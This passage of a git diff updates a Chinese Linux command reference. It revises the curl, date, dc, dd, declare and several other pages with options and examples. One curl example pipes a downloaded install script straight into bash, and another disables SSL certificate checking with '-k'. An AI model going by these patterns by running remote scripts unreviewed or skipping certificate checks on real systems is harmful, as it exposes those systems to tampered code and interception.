'foo1=bar' -b 'foo2=baz' https://example.com +# 上面命令发送两个 Cookie。 + +```shell +curl -b cookies.txt https://www.example.com +# 上面命令读取本地文件 cookies.txt,里面是服务器设置的 Cookie(参见-c参数),将其发送到服务器。 ``` -**get请求** +#### **Cookie 写入一个文件** ```shell -curl "http://www.wangchujiang.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地 -curl -i "http://www.wangchujiang.com" # 显示全部信息 -curl -l "http://www.wangchujiang.com" # 只显示头部信息 -curl -v "http://www.wangchujiang.com" # 显示get请求全过程解析 +curl -c cookies.txt https://www.example.com +# 上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件cookies.txt。 ``` -**post请求** +#### **请求的来源** + +`-e` 参数用来设置 `HTTP` 的标头 `Referer`,表示请求的来源。 + +```shell +curl -e 'https://example.com?q=example' https://www.example.com +# 上面命令将Referer标头设为 https://example.com?q=example。 +``` + +`-H` 参数可以通过直接添加标头 `Referer`,达到同样效果。 + +```shell +curl -H 'Referer: https://example.com?q=example' https://www.example.com +``` + +#### **上传二进制文件** + +`-F` 参数用来向服务器上传二进制文件。 + +```shell +curl -F 'file=@photo.png' https://example.com/profile +# 上面命令会给 HTTP 请求加上标头 Content-Type: multipart/form-data ,然后将文件photo.png作为file字段上传。 +``` + +`-F` 参数可以指定 `MIME` 类型。 + +```shell +curl -F 'file=@photo.png;type=image/png' https://example.com/profile +# 上面命令指定 MIME 类型为image/png,否则 curl 会把 MIME 类型设为 application/octet-stream。 +``` + +`-F` 参数也可以指定文件名。 + +```shell +curl -F 'file=@photo.png;filename=me.png' https://example.com/profile +# 上面命令中,原始文件名为photo.png,但是服务器接收到的文件名为me.png。 +``` + +#### **设置请求头** + +`-H` 参数添加 `HTTP` 请求的标头。 + +```shell +curl -H 'Accept-Language: en-US' https://example.com +# 上面命令添加 HTTP 标头 Accept-Language: en-US。 +``` + +```shell +curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://example.com +# 上面命令添加两个 HTTP 标头。 +``` + +```shell +curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://example.com/login +# 上面命令添加 HTTP 请求的标头是 Content-Type: application/json,然后用 -d 参数发送 JSON 数据。 +``` + +#### **跳过 SSL 检测** + +```shell +curl -k https://www.example.com +# 上面命令不会检查服务器的 SSL 证书是否正确。 +``` + +#### **请求跟随服务器的重定向** + +`-L` 参数会让 `HTTP` 请求跟随服务器的重定向。`curl` 默认不跟随重定向。 ```shell -curl -d "param1=value1¶m2=value2" "http://www.wangchujiang.com" +curl -L -d 'tweet=hi' https://api.example.com/tweet +``` + +值得注意的是,这种重定向方式不适用于在返回的 HTML 中的重定向,比如这种是不被 curl 识别的重定向(这部分内容由 `curl -v -L ` 生成) + +```curl +* Connected to example.com (*.*.*.*) port 80 (#0) +> GET / HTTP/1.1 +> Host: example.com +> User-Agent: curl/8.0.1 +> Accept: */* +> +< HTTP/1.1 200 OK +.... +< Content-Type: text/html +< + + + + ``` -**json格式的post请求** +#### **调试参数** + +`-v` 参数输出通信的整个过程,用于调试。 + +```shell +curl -v https://www.example.com +# --trace参数也可以用于调试,还会输出原始的二进制数据。 +``` ```shell -curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13521389587","password":"test"}' http://wangchujiang.com/apis/users.json +curl --trace - https://www.example.com ``` -**获取本机外网ip** +#### **获取本机外网 IP** ```shell curl ipecho.net/plain ``` - +#### **使用 curl 测试网站加载速度** + +命令有一个鲜为人知的选项,`-w`,该选项在请求结束之后打印本次请求的统计数据到标准输出。 + +首先,我们定义控制打印行为的格式化字符串。新建文本文件 `fmt.txt`,并填入下面的内容: + +```ruby +\n +Response Time for: %{url_effective}\n\n +DNS Lookup Time:\t\t%{time_namelookup}s\n +Redirection Time:\t\t%{time_redirect}s\n +Connection Time:\t\t%{time_connect}s\n +App Connection Time:\t\t%{time_appconnect}s\n +Pre-transfer Time:\t\t%{time_pretransfer}s\n +Start-transfer Time:\t\t%{time_starttransfer}s\n\n +Total Time:\t\t\t%{time_total}s\n +``` + +curl 提供了很多置换变量,可以在格式化字符串中通过 `%{var}` 的形式使用。完整的变量列表可以在 `curl` 的 `manpage` 中查看。简单介绍一下我们使用的这几个变量: + +- `url_effective`: 执行完地址重定向之后的最终 URL; +- `time_namelookup`: 从请求开始至完成名称解析所花的时间,单位为秒,下同; +- `time_redirect`: 执行所有重定向所花的时间; +- `time_connect`: 从请求开始至建立 TCP 连接所花的时间; +- `time_appconnect`: 从请求开始至完成 SSL/SSH 握手所花的时间; +- `time_pretransfer`: 从请求开始至服务器准备传送文件所花的时间,包含了传送协商时间; +- `time_starttransfer`: 从请求开始至服务器准备传送第一个字节所花的时间; +- `time_total`: 完整耗时。 + +然后执行请求,通过 @filename 指定保存了格式化字符串的文件: + +```shell +curl -L -s -w @fmt.txt -o /dev/null http://www.example.com +``` + +输出: + +```c +Response Time for: http://www.google.co.jp/?gfe_rd=cr&dcr=0&ei=cjIaWpTkHeiQ8QfnxYzoBA + +DNS Lookup Time: 0.000038s +Redirection Time: 0.207271s +Connection Time: 0.000039s +App Connection Time: 0.000039s +Pre-transfer Time: 0.000067s +Start-transfer Time: 0.260115s + +Total Time: 0.467691s +``` + +#### **要求返回是压缩的状态** + +```shell +$ curl --compressed -o- -L https://yarnpkg.com/install.sh | bash + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed +100 54 100 54 0 0 42 0 0:00:01 0:00:01 --:--:-- 42 +100 2341 100 2341 0 0 1202 0 0:00:01 0:00:01 --:--:-- 9289 +Installing Yarn! +> Downloading tarball... + +[1/2]: https://yarnpkg.com/latest.tar.gz --> /var/folders/j7/3xly5sk567s65ny5dnr__3b80000gn/T/yarn.tar.gz.XXXXXXXXXX.9hJsBsrA + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed +100 57 100 57 0 0 72 0 --:--:-- --:--:-- --:--:-- 72 +100 93 100 93 0 0 63 0 0:00:01 0:00:01 --:--:-- 63 +100 643 100 643 0 0 248 0 0:00:02 0:00:02 --:--:-- 707 +100 1215k 100 1215k 0 0 153k 0 0:00:07 0:00:07 --:--:-- 305k + +[2/2]: https://yarnpkg.com/latest.tar.gz.asc --> /var/folders/j7/3xly5sk567s65ny5dnr__3b80000gn/T/yarn.tar.gz.XXXXXXXXXX.9hJsBsrA.asc +100 61 100 61 0 0 356 0 --:--:-- --:--:-- --:--:-- 356 +100 97 100 97 0 0 325 0 --:--:-- --:--:-- --:--:-- 325 +100 647 100 647 0 0 1283 0 --:--:-- --:--:-- --:--:-- 1283 +100 832 100 832 0 0 1107 0 --:--:-- --:--:-- --:--:-- 812k +``` diff --git a/command/cut.md b/command/cut.md index 40674dea51c..4112fb824e6 100644 --- a/command/cut.md +++ b/command/cut.md @@ -157,4 +157,17 @@ efghijklmnopqrstuvwxyz efghijklmnopqrstuvwxyz ``` +打印最后5个字符: + +遗憾的是, `cut`并没有提供最后字符的支持. 不过我们可以通过字符串反转来实现. + +```shell +[root@localhost text]# cat test.txt| rev | cut -c -5 | rev +vwxyz +vwxyz +vwxyz +vwxyz +vwxyz +``` + diff --git a/command/date.md b/command/date.md index 27b7e5d9b36..7d0dae3945b 100644 --- a/command/date.md +++ b/command/date.md @@ -3,154 +3,181 @@ date 显示或设置系统时间与日期 -## 补充说明 +## 概要 -**date命令** 是显示或设置系统时间与日期。 +```shell +date [OPTION]... [+FORMAT] +date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]] +``` -很多shell脚本里面需要打印不同格式的时间或日期,以及要根据时间和日期执行操作。延时通常用于脚本执行过程中提供一段等待的时间。日期可以以多种格式去打印,也可以使用命令设置固定的格式。在类UNIX系统中,日期被存储为一个整数,其大小为自世界标准时间(UTC)1970年1月1日0时0分0秒起流逝的秒数。 +## 主要用途 -### 语法 +- 转换时间到选定的格式,默认为当前。 +- 设置系统时间。 -```shell -date(选项)(参数) -``` +## 参数 -### 选项 +format:输出的时间格式。 ```shell --d<字符串>:显示字符串所指的日期与时间。字符串前后必须加上双引号; --s<字符串>:根据字符串来设置日期与时间。字符串前后必须加上双引号; --u:显示GMT; ---help:在线帮助; ---version:显示版本信息。 +format可用的转义序列如下: + +%% 百分号 +%a 当地缩写的工作日名称(例如,Sun) +%A 当地完整的工作日名称(例如,Sunday) +%b 当地缩写的月份名称(例如,Jan) +%B 当地完整的月份名称(例如,January) +%c 当地的日期和时间(例如,Thu Mar 3 23:05:25 2005) +%C 世纪,和%Y类似,但是省略后两位(例如,20) +%d 一月中的一天(例如,01) +%D 日期,等价于%m/%d/%y +%e 一月中的一天,格式使用空格填充,等价于%_d +%F 完整的日期;等价于%+4Y-%m-%d +%g ISO标准计数周的年份的最后两位数字 +%G ISO标准计数周的年份,通常只对%V有用 +%h 等价于%b +%H 小时,范围(00..23) +%I 小时,范围(00..23) +%j 一年中的一天,范围(001..366) +%k 小时,使用空格填充,范围(0..23),等价于%_H +%l 小时,使用空格填充,范围(1..12),等价于%_I +%m 月,范围(01..12) +%M 分钟,范围(00..59) +%n 换行符 +%N 纳秒,范围(000000000..000000000) +%p 用于表示当地的AM或PM,如果未知则为空白 +%P 类似于%p,但用小写表示 +%q 季度,范围(1..4) +%r 当地以12小时表示的时钟时间(例如,11:11:04 PM) +%R 24小时每分钟;等价于%H:%M +%s 自协调世界时1970年01月01日00时00分以来的秒数 +%S 秒数,范围(00..60) +%t 水平制表符 +%T 时间;等价于%H:%M:%S +%u 一周中的一天(1..7),1代表星期一 +%U 一年中的第几周,周日作为一周的起始(00..53) +%V ISO标准计数周,该方法将周一作为一周的起始(01..53) +%w 一周中的一天(0..6),0代表星期天 +%W 一年中的第几周,周一作为一周的起始(00..53) +%x 当地的日期表示(例如,12/31/99) +%X 当地的时间表示(例如,23:13:48) +%y 年份后两位数字,范围(00..99) +%Y 年份 +%z +hhmm格式的数值化时区格式(例如,-0400) +%:z +hh:mm格式的数值化时区格式(例如,-04:00) +%::z +hh:mm:ss格式的数值化时区格式(例如,-04:00:00) +%:::z 数值化时区格式,相比上一个格式增加':'以显示必要的精度(例如,-04,+05:30) +%Z 时区缩写(如EDT) + +默认情况下,日期用零填充数字字段;以下可选的符号可以跟在'%'后面: + +- (连字符) 不要填充相应的字段。 +_ (下划线) 使用空格填充相应的字段。 +0 (数字0) 使用数字0填充相应的字段。 ++ 用数字0填充,未来年份大于4位数字则在前面加上'+'号。 +^ 允许的情况下使用大写。 +# 允许的情况下将默认的大写转换为小写,默认的小写转换为大写。 + +在任何标志之后都有一个可选的字段宽度,如小数;然后是一个可选的修饰符,在可用的情况下,使用E来使用当地语言环境的替代表示, +使用O来使用当地语言环境的替代数字符号。 ``` -### 参数 - -<+时间日期格式>:指定显示时使用的日期时间格式。 - -### 日期格式字符串列表 +## 选项 ```shell -%H # 小时,24小时制(00~23) -%I # 小时,12小时制(01~12) -%k # 小时,24小时制(0~23) -%l # 小时,12小时制(1~12) -%M # 分(00~59) -%p # 显示出上午或下午 -%r # 时间,12小时制 -%s # 从1970年1月1日0点到目前经历的秒数 -%S # 秒(00~59) -%T # 时间(24小时制)(hh:mm:ss) -%X # 显示时间的格式(%H时%M分%S秒) -%Z # 按字母表排序的时区缩写 -%a # 星期名缩写 -%A # 星期名全称 -%b # 月名缩写 -%B # 月名全称 -%c # 日期和时间 -%d # 按月计的日期(01~31) -%D # 日期(mm/dd/yy) -%h # 和%b选项相同 -%j # 一年的第几天(001~366) -%m # 月份(01~12) -%w # 一个星期的第几天(0代表星期天) -%W # 一年的第几个星期(00~53,星期一为第一天) -%x # 显示日期的格式(mm/dd/yy) -%y # 年份的最后两个数字(1999则是99) -%Y # 年份(比如1970、1996等) -%C # 世纪,通常为省略当前年份的后两位数字 -%U # 一年中的第几周,以周日为每星期第一天 -%e # 按月计的日期,添加空格,等于%_d +长选项与短选项等价 + +-d, --date=STRING 解析字符串并按照指定格式输出,字符串不能是'now'。 +--debug 注释已解析的日期,并将有疑问的用法发送到标准错误。 +-f, --file=DATEFILE 类似于--date; 一次从DATEFILE处理一行。 +-I[FMT], --iso-8601[=FMT] 按照ISO 8601格式输出,FMT可以为'date'(默认),'hours','minutes','seconds','ns'。例如:2006-08-14T02:34:56-06:00 +-R, --rfc-email 按照RFC 5322格式输出,例如: Mon, 14 Aug 2006 02:34:56 -0600 +--rfc-3339=FMT 按照RFC 3339格式输出,FMT可以为'date', 'seconds','ns'中的一个,例如:2006-08-14 02:34:56-06:00 +-r, --reference=FILE 显示文件的上次修改时间。 +-s, --set=STRING 根据字符串设置系统时间。 +-u, --utc, --universal 显示或设置世界协调时(UTC)。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` -### 实例 +## 返回值 + +返回状态为成功除非给出了非法选项或非法参数。 -格式化输出: +## 例子 ```shell +# 格式化输出: date +"%Y-%m-%d" 2009-12-07 -``` -输出昨天日期: - -```shell +# 输出昨天日期: date -d "1 day ago" +"%Y-%m-%d" 2012-11-19 -``` - -2秒后输出: -```shell +# 2秒后输出: date -d "2 second" +"%Y-%m-%d %H:%M.%S" 2012-11-20 14:21.31 -``` - -传说中的 1234567890 秒: -```shell -date -d "1970-01-01 1234567890 seconds" +"%Y-%m-%d %H:%m:%S" +# 传说中的 1234567890 秒: +date -d "1970-01-01 1234567890 seconds" +"%Y-%m-%d %H:%M:%S" +# 或者 +date -d@1234567890 +"%F %T" +# 输出结果 2009-02-13 23:02:30 -``` - -普通转格式: -```shell +# 时间格式转换: date -d "2009-12-12" +"%Y/%m/%d %H:%M.%S" +# 输出结果 2009/12/12 00:00.00 -``` -apache格式转换: - -```shell +# apache格式转换: date -d "Dec 5, 2009 12:00:37 AM" +"%Y-%m-%d %H:%M.%S" +# 输出结果 2009-12-05 00:00.37 -``` -格式转换后时间游走: - -```shell +# 格式转换后时间游走: date -d "Dec 5, 2009 12:00:37 AM 2 year ago" +"%Y-%m-%d %H:%M.%S" +# 输出结果 2007-12-05 00:00.37 -``` - -加减操作: -```shell -date +%Y%m%d # 显示前天年月日 +# 时间加减操作: +date +%Y%m%d # 显示年月日 date -d "+1 day" +%Y%m%d # 显示前一天的日期 date -d "-1 day" +%Y%m%d # 显示后一天的日期 date -d "-1 month" +%Y%m%d # 显示上一月的日期 date -d "+1 month" +%Y%m%d # 显示下一月的日期 date -d "-1 year" +%Y%m%d # 显示前一年的日期 date -d "+1 year" +%Y%m%d # 显示下一年的日期 -``` - -设定时间: -```shell +# 设定时间: date -s # 设置当前时间,只有root权限才能设置,其他只能查看 -date -s 20120523 # 设置成20120523,这样会把具体时间设置成空00:00:00 +date -s 20120523 # 设置成20120523,这样会把具体时间设置成00:00:00 date -s 01:01:01 # 设置具体时间,不会对日期做更改 date -s "01:01:01 2012-05-23" # 这样可以设置全部时间 date -s "01:01:01 20120523" # 这样可以设置全部时间 date -s "2012-05-23 01:01:01" # 这样可以设置全部时间 date -s "20120523 01:01:01" # 这样可以设置全部时间 -``` - -有时需要检查一组命令花费的时间,举例: - -```shell -#!/bin/bash +# 有时需要检查一组命令花费的时间: start=$(date +%s) nmap wangchujiang.com &> /dev/null - end=$(date +%s) difference=$(( end - start )) +# 显示执行时间 echo $difference seconds. + +# 当你考虑输出带有时间的字符串时,例如(Current time: 2019/05/19): +# 通常使用的方法: +echo "Current time: $(date +"%Y/%m/%d")" +# 另一种方法: +suffix='Current time:' +# 注意如果换成单引号就不能替换变量了。 +date +"${suffix} %Y/%m/%d" ``` +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 date`或`info coreutils 'date invocation'`。 + - diff --git a/command/dc.md b/command/dc.md new file mode 100644 index 00000000000..c78f672aa83 --- /dev/null +++ b/command/dc.md @@ -0,0 +1,87 @@ +dc +=== + +任意精度计算器 + +## 说明 + +dc 是一款逆波兰表达式计算器,支持无限制精度的算术运算。它还允许您定义和调用宏。通常,dc从标准输入读取,也可以通过参数传入文件来求值。 + +## 语法 + +```shell +dc [选项] [文件...] +``` + +### 选项 + +```shell +-e, --expression=EXPR # 评估表达式 +-f, --file=FILE # 评估文件内容 +-h, --help # 显示此帮助并退出 +-V, --version # 输出版本信息并退出 +``` + +```shell +p 打印堆栈顶部的值并以换行符结束语句。 +n 打印堆栈顶部的值并以空语句结束行。 +f 打印整个堆栈,不做任何更改。 +P 从栈顶弹出值。 +c 清除堆栈。 +d 复制顶部值并将其推入主堆栈。 +r 反转堆栈中顶部两个元素的顺序。 +Z 从堆栈中弹出值,计算其中的位数并压入该数字。 +X 从堆栈中弹出值,计算其中的小数位数并压入该数字。 +z 将堆栈长度推入堆栈。 +i 从堆栈中弹出值并将其用作输入基数。 +o 从堆栈中弹出值并将其用作输出基数。 +k 从堆栈中弹出值并使用它来设置精度。 +I 将输入基数的值推入堆栈。 +O 将输出基数的值压入堆栈 +K 将精度值压入堆栈。 +``` + +## 示例 + +下面是 `dc` 命令在命令行完成的计算 `10 * 10` 得出结果 `100`,并推出的过程 + +```shell +$ dc + +10 # 1. 输入数字10 +10 # 2. 输入数字10 +* # 3. 输入运算类型*表示乘 +p # 4. 输入p得到计算结果 +100 +q # 5. 输入 q 退出 dc +``` + +示例显示在命令行结果 `509` + +```bash +$ dc --expression="50 10 * 9 + p" +509 +``` + +## 支持的运算 + +`+` 从堆栈中弹出两个值,将它们相加,然后压栈结果。 + +`-` 弹出两个值,从弹出的第二个值中减去弹出的第一个值,并压栈结果。 + +`*` 弹出两个值,将它们相乘,然后压栈结果。结果中分数位数取决于当前精度值和两个参数中的分数位数。 + +`/` 弹出两个值,将弹出的第二个值与弹出的第一个值相除,然后推送结果。分数位数由精度值指定。 + +`%` 弹出两个值,计算/命令将执行的除法的剩余部分,并推送该值。计算的值与序列 `Sd dld/Ld*- `计算的值相同。 + +`~` 弹出两个值,将弹出的第二个值与弹出的第一个值相除。首先推送商,然后推送余数。除法中使用的小数位数由精度值指定。 + +(序列 SdSn lnld/lnld% 也可以完成此功能,但错误检查略有不同。) + + +`^` 使用弹出的第一个值作为指数,第二个值作为基数,弹出两个值并进行幂运算。忽略指数的分数部分。 + +`|` 弹出三个值并计算模幂。 弹出的第一个值用作约简模数; 这个值必须是一个非零数字,并且应该是一个整数。 弹出的第二个用作指数; 该值必须是非负数,并且该指数的任何小数部分都将被忽略。 弹出的第三个值是取幂的基数,它应该是一个整数。 对于小整数,这类似于序列 Sm^Lm%,但与 ^ 不同的是,此命令适用于任意大的指数。 + +`v` 弹出一个值,计算其平方根,然后压栈它。精度值的最大值和参数的精度用于确定结果中的小数位数。 diff --git a/command/dd.md b/command/dd.md index aa401f4290c..dd6e87568f8 100644 --- a/command/dd.md +++ b/command/dd.md @@ -9,13 +9,13 @@ dd 建议在有需要的时候使用dd 对物理磁盘操作,如果是文件系统的话还是使用tar backup cpio等其他命令更加方便。另外,使用dd对磁盘操作时,最好使用块设备文件。 -### 语法 +### 语法 ```shell dd(选项) ``` -### 选项 +### 选项 ```shell bs=<字节数>:将ibs(输入)与obs(输出)设成指定的字节数; @@ -24,6 +24,7 @@ conv=<关键字>:指定文件转换的方式; count=<区块数>:仅读取指定的区块数; ibs=<字节数>:每次读取的字节数; obs=<字节数>:每次输出的字节数; +if=<文件>:输入文件; of=<文件>:输出到文件; seek=<区块数>:一开始输出时,跳过指定的区块数; skip=<区块数>:一开始读取时,跳过指定的区块数; @@ -31,7 +32,7 @@ skip=<区块数>:一开始读取时,跳过指定的区块数; --version:显示版本信息。 ``` -### 实例 +### 实例 ```shell [root@localhost text]# dd if=/dev/zero of=sun.txt bs=1M count=1 @@ -81,4 +82,20 @@ wFRAnlkXeBXmWs1MyGEs ``` - + +**测试磁盘写入速度** + +```shell +[root@localhost ~]# dd if=/dev/zero of=/tmp/testfile bs=1G count=1 oflag=direct +1+0 records in +1+0 records out +1073741824 bytes (1.1 GB) copied, 7.10845 s, 151 MB/s +``` + +**测试磁盘读取速度** +```shell +[root@localhost ~]# dd if=/tmp/testfile of=/dev/null bs=1G count=1 iflag=direct +1+0 records in +1+0 records out +1073741824 bytes (1.1 GB) copied, 6.53009 s, 164 MB/s +``` diff --git a/command/declare.md b/command/declare.md index 666f01dbfe2..e7a1ed172f6 100644 --- a/command/declare.md +++ b/command/declare.md @@ -1,51 +1,213 @@ declare === -声明或显示shell变量 +声明变量,设置或显示变量的值和属性。 -## 补充说明 +## 语法 -**declare命令** 用于声明和显示已存在的shell变量。当不提供变量名参数时显示所有shell变量。declare命令若不带任何参数选项,则会显示所有shell变量及其值。declare的功能与typeset命令的功能是相同的。 +```shell +declare [-aAfFgilnrtux] [-p] [name[=value] ...] +``` + +## 主要用途 -### 语法 +- 显示包含指定属性的全部变量和值 +- 显示包含指定属性的一到多个变量和值 +- 显示一到多个变量的属性和值 +- 显示所有变量的属性和值并显示函数的定义 +- 显示所有变量的属性和值 +- 显示所有全局变量的属性和值 +- 显示全部函数名和函数定义 +- 只显示全部函数名 +- 显示一到多个函数名和函数定义 +- 只显示一到多个函数名 +- 声明全局变量(可选:赋值) +- 声明变量(可选:赋值、属性) +- 增加、删除变量的属性(可选:赋值) + +## 选项 ```shell -declare(选项)(参数) +-f 将操作或显示限制为函数名及函数定义。 +-F 只显示函数名(调试时附加行号和源文件)。 +-g 在shell函数中使用时创建全局变量;其他情况下忽略。 +-p 显示每个名称的属性和值。 + +*设置属性的选项: +-a 创建数组(如果支持)。 +-A 创建关联数组(如果支持)。 +-i 增加整型属性。 ++i 删除整型属性。 +-l 增加小写属性,变量的值将转换为小写。 ++l 删除小写属性。 +-n 增加引用属性(如果该选项存在)。 ++n 删除引用属性(如果该选项存在)。 +-r 增加只读属性。 +-t 增加追踪属性。 ++t 删除追踪属性。 +-u 增加大写属性,变量的值将转换为大写。 ++u 删除大写属性。 +-x 增加导出属性。 ++x 删除导出属性。 ``` -### 选项 +## 参数 ```shell -+/-:"-"可用来指定变量的属性,"+"则是取消变量所设的属性; --f:仅显示函数; -r:将变量设置为只读; -x:指定的变量会成为环境变量,可供shell以外的程序来使用; -i:[设置值]可以是数值,字符串或运算式。 +name(可选):变量名或函数名。 +value(可选):变量的值。 ``` -### 参数 - -shell变量:声明shell变量,格式为“变量名=值”。 +## 返回值 -### 实例 +declare 返回true除非你提供了非法选项或赋值错误。具体导致异常的情况请查看**讨论**章节的**关于异常情况**。 -首先使用declare命令定义shell变量"test",并且将其值设置为"wangchujiang.com",输入如下命令: +## 例子 ```shell -declare test='wangchujiang.com' #定义并初始化shell变量 +# 声明变量,当然也欢迎您在这个网站(感谢本项目发起人 @jaywcjlove)查询linux命令。 +declare reference_website='https://wangchujiang.com/linux-command/' + +# 显示所有包含整型属性的变量和值。 +declare -i +# 定义变量b并赋值为3,具有整型属性。 +declare -i b=5 +# 显示属性,返回 declare -i b="5"。 +declare -p b +# 删除整型属性。 +declare +i b +# 显示属性,返回 declare -- b="5"。 +declare -p b +# 根据变量属性强制转换值的英文大小写。 +declare -u uc_var='abc' +declare -l lc_var='ABC' +# 显示'ABC abc'; +echo "${uc_var} ${lc_var}" ``` -上面的命令执行后,再使用echo命令将该shell变量值输出,输入如下命令: +```shell +# 定义函数内的全局变量 +function test(){ + declare -g a=3 + # 或者 + local -g b=3 + # 或者 + c=3 + # 让我们查看它们的属性。 + declare -p a b c +} +# 执行函数。 +test +# 返回结果。 +# declare -- a="3" +# declare -- b="3" +# declare -- c="3" + +# 定义函数外的全局变量 +declare a=3 +b=3 +declare –p a b +# 返回结果如下。 +# declare -- a="3" +# declare -- b="3" + +# 定义局部变量 +function test2(){ + local -i a=3 + declare -i b=3 +} +test2 +# 没有该变量(已经被销毁了) +echo "${a} ${b}" +# 因此,我们日常脚本中最常见的类似于'a=3'实际上是声明并赋值了一个全局变量。 +# 在接下来的 **讨论** 环节会延伸讨论全局和局部变量问题。 +``` ```shell -echo $test #输出shell变量的值 +# 注意,不能使用 `+a` 或 `+A` 取消数组,也不能使用 `+r` 取消只读属性。 + +# 定义只读数组,设置属性的同时定义赋值。 +declare -ar season=('Spring' 'Summer' 'Autumn' 'Winter') +# 或者这样。 +season=('Spring' 'Summer' 'Autumn' 'Winter') +declare -ar season +# 显示所有数组。 +declare -a +# 定义关联数组。 + +declare -A fruits=(['apple']='red' ['banana']='yellow') +# 显示所有关联数组。 +declare -A ``` -上面的指令执行后,其输出的结果如下: +```shell +# 显示所有变量的属性和值并显示函数的定义,输出很长。 +declare +# 显示所有变量的属性和值。 +declare -p +# 显示所有全局变量的属性和值。 +declare -g +``` ```shell -wangchujiang.com +# 显示全部函数名和函数定义。 +declare -f +# 只显示全部函数名。 +declare -F + +# 定义两个函数。 +function func_a(){ echo $(date +"%F %T"); } +function func_b(){ cd /; ls -lh --sort=time; } +# 显示一到多个函数名和函数定义。 +declare -f func_a func_b +# 只显示一到多个函数名,验证某个名称是否已经定义为函数时有用。 +declare -F func_a func_b +# 最好不要让函数名和变量名相同。 ``` - \ No newline at end of file +## 讨论 + +1. 全局和局部变量 + + 正如上面**例子**指出的情况,我们在日常编写程序的时候需要了解这些概念,在这里 + 做个简要地介绍,当然你也可以很方便的搜索到相关内容。 + + - 全局变量:在整个脚本执行期间,只要没有被删除就**一直存在**。 + - 局部变量:在函数内定义,函数执行后就被删除。 + + 建议函数内使用`local`命令,函数外使用`declare`命令。 + + > *不要在脚本中定义过多的全局变量,那样可能会被其他函数调用造成意料之外的后果,并且也不方便检查出来。* + > + > *更不用说缺乏必要的注释了 —— ZhuangZhu-74* + + 相关资料: + + - [google提供的编码规范](https://github.com/google/styleguide) + - [全局变量的讨论](https://unix.stackexchange.com/questions/381761/what-do-declare-name-and-declare-g-do) + +2. 关于`declare` `typeset` `export` `local` `readonly`命令 + + 为什么`declare`能做到的事,还需要定义其他这些命令呢? + + 因为这样语句含义会更加明确,例如: + - 设置导出属性的变量时,`export var`和`declare -x var`。 + - 在函数内声明变量时,使用`local`。 + - 声明只读变量,使用`readonly`。 + + `typeset`和`declare`命令一样。 + +3. 关于异常情况 + + 有多种原因导致`declare`失败,关于这些情况可以参考[bash在线文档declare部分\(最新版\)](https://www.gnu.org/software/bash/manual/bash.html#index-declare),或执行 `info bash` + 查看`declare`部分最后一大串`an attempt is`开头的句子。 + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 +2. 导出属性的相关介绍请查看'export'命令。 +3. 只读属性的相关介绍请查看'readonly'命令。 +4. 引用属性的相关介绍请查看'unset'命令的例子部分。 + + diff --git a/command/depmod.md b/command/depmod.md index 6059fa61c58..6b49be39c9c 100644 --- a/command/depmod.md +++ b/command/depmod.md @@ -7,13 +7,13 @@ depmod **depmod命令** 可产生模块依赖的映射文件,在构建嵌入式系统时,需要由这个命令来生成相应的文件,由modprobe使用。 -### 语法 +### 语法 ```shell depmod(选项) ``` -### 选项 +### 选项 ```shell -a或--all:分析所有可用的模块; @@ -27,7 +27,7 @@ depmod(选项) --help:显示帮助。 ``` -### 实例 +### 实例 ```shell depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a @@ -61,4 +61,3 @@ depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/ 如,我编译了一个新的wifi驱动r8192se_pci.ko,将其拷贝到`/lib/modules/2.6.31-20-generic/wireless`下,然后到`/lib/modules/2.6.31-20-generic`运行`depmod -a`,之后可以在任意目录运行modprobe r8192se_pci。 - \ No newline at end of file diff --git a/command/df.md b/command/df.md index d21203f17df..9a6869b2e4e 100644 --- a/command/df.md +++ b/command/df.md @@ -7,13 +7,13 @@ df **df命令** 用于显示磁盘分区上的可使用的磁盘空间。默认显示单位为KB。可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息。 -### 语法 +### 语法 ```shell df(选项)(参数) ``` -### 选项 +### 选项 ```shell -a或--all:包含全部的文件系统; @@ -34,7 +34,7 @@ df(选项)(参数) --version:显示版本信息。 ``` -### 参数 +### 参数 文件:指定文件系统上的文件。 @@ -44,7 +44,7 @@ df(选项)(参数) SIZE是一个整数和可选单位(例如:10M是10 * 1024 * 1024)。 单位是K,M,G,T,P,E,Z,Y(1024的幂)或KB,MB,...(1000的幂)。 -### 实例 +### 实例 查看系统磁盘设备,默认是KB为单位: @@ -92,4 +92,4 @@ df public ``` - + diff --git a/command/dhclient.md b/command/dhclient.md index 4799b55678d..a9e9fc8d6a1 100644 --- a/command/dhclient.md +++ b/command/dhclient.md @@ -7,13 +7,13 @@ dhclient **dhclient命令** 使用动态主机配置协议动态的配置网络接口的网络参数。 -### 语法 +### 语法 ```shell dhclient(选项)(参数) ``` -### 选项 +### 选项 ```shell 0:指定dhcp客户端监听的端口号; @@ -22,11 +22,11 @@ dhclient(选项)(参数) -r:释放ip地址。 ``` -### 参数 +### 参数 网络接口:操作的网络接口。 -### 实例 +### 实例 ```shell dhclient -r #释放IP @@ -34,4 +34,3 @@ dhclient #获取IP ``` - \ No newline at end of file diff --git a/command/dhcpd.md b/command/dhcpd.md index 266eb90e0ce..3f43ae709ce 100644 --- a/command/dhcpd.md +++ b/command/dhcpd.md @@ -1,15 +1,15 @@ dhcpd === -运行DHCP服务器。 +运行DHCP服务器 -### 语法 +### 语法 ```shell dhcpd [选项] [网络接口] ``` -### 选项 +### 选项 ```shell -p <端口> 指定dhcpd监听的端口 @@ -54,4 +54,4 @@ it workbetter with this distribution. exiting. ``` - + diff --git a/command/dhcrelay.md b/command/dhcrelay.md index 6fecbb03565..2d490450b02 100644 --- a/command/dhcrelay.md +++ b/command/dhcrelay.md @@ -7,13 +7,13 @@ dhcrelay **dhcrelay命令** 